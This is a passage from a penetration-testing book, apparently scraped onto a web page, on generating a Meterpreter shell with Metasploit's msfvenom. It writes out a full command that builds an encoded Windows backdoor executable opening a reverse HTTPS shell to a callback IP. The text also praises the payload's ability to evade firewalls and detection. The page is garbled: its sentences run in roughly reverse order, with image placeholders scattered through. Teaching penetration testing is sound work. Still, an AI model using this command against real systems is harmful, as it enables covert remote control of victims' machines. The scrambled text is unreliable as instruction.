![]() ![]() This creates a binary for windows called msf-backdoor.exe that has been encoded three times and will call back to our IP address (172.16.85.149) on port 443. Our command to do this is “msfvenom -f exe -o msf-backdoor.exe -i 3 -p windows/meterpreter/reverse_https LHOST=172.16.85.149 LPORT=443”. Now that we have picked our payload, we need to tell msfvenom to create the payload, encode it, and save it as an executable. This is one of the standard reverse shells that we use in penetration testing. This payload will communicate over HTTPS so it is less likely to be detected, and because it calls back to us, it is less likely to get picked up by a firewall as well. For this example, we are going to be using the “windows/meterpreter/reverse_https” payload. The Msfvenom tool can create binaries and export shellcode for various payloads for Metasploit as well as assist with encoding and removing special characters.īefore we begin, we need to decide on which payload we want to use. Msfvenom is the replacement for two commands, msfpayload and msfencode. We will go through Metasploit’s msfvenom to generate a payload. ![]() Jason Andress, Ryan Linn, in Coding for Penetration Testers (Second Edition), 2017 Getting a Shellīefore we can start working with Meterpreter, we need to get a Meterpreter shell. ![]()
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